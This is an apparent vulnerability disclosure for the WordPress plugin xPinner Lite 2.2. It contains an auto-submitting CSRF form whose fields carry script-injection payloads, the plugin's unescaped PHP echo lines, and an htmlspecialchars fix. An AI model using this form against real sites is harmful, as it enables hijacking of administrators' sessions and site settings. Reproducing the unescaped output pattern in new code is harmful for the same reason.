WordPress xPinner Lite 2.2 Cross Site Request Forgery / Cross Site Scripting

# Exploit Title: Wordpress xPinner Lite CSRF/XSS
# Exploit Author: Ashiyane Digital security Team
# Vendor Homepage: https://wordpress.org/plugins/xpinner-lite
# Software Link: https://downloads.wordpress.org/plugin/xpinner-lite.zip
# Version: 2.2
# Tested on: windows 7 /FireFox
# Date: 2015-09-14
####################################################
#Exploit :

<form name="XSS" method="POST"  
action="http://127.0.0.1/wordpress/wp-admin/options-general.php?page=xpinner">
<input type="Hidden" name="pin_limit" value='"><script>alert(/XSS  
1/)</script>' />
<input type="Hidden" name="limit_older_posts"  
value='"><script>alert(/XSS 2/)</script>' />
<input type="Hidden" name="image_min"  
value='"><script>alert(/XSS3/)</script>' />
<input type="Hidden" name="image_max"  
value='"><script>alert(/XSS4/)</script>' />
<input type="Hidden" name="pinterest_email"  
value='"><script>alert(/XSS 5/)</script>' />
<input type="Hidden" name="pinterest_password"  
value='"><script>alert(/XSS 6/)</script>' />
<input type="Hidden" name="&pinterest_board_id"  
value='"><script>alert(/XSS 7/)</script>' />
<input type="Hidden" name="xpinner_save_changes" value="Save Changes" />
</form>
<script language="javascript">
setTimeout(XSS.submit(),1);
</script>

####################################################################
# Vulnerable File : /wp-content/plugins/xpinner-lite/xpinner-lite.php
# Vulnerable codes: Lines 145,150,156,158,169,173,177
[145] : <input type="text" naMe="pin_limit" vAlue="<?php echo  
$xpinner_options['pin_limit']; ?>" size="10">
[150] : <input type="text" name="limit_older_posts" value="<?php echo  
$xpinner_options['limit_older_posts']; ?>" size="10">
[156] : <input type="text" name="image_min" value="<?php echo  
$xpinner_options['image_min']; ?>" size="2">
[158] : <input type="text" name="image_max" value="<?php echo  
$xpinner_options['image_max']; ?>" size="2">
[169] : <input type="text" name="pinterest_email" value="<?php echo  
$xpinner_options['pinterest_email']; ?>" size="30">
[173] : <input type="text" name="pinterest_password" value="<?php echo  
$xpinner_options['pinterest_password']; ?>" size="30">
[177] : <input type="text" name="pinterest_board_id" value="<?php echo  
$xpinner_options['pinterest_board_id']; ?>" size="30">
=================================
For Patch :
You Should Use htmlspecialchars For Example :
[145] : <input type="text" name="pin_limit" value="<?php echo  
htmlspecialchars($xpinner_options['pin_limit']); ?>" size="10">
##########################################################
discovered by : Amir.ght(Goldhack)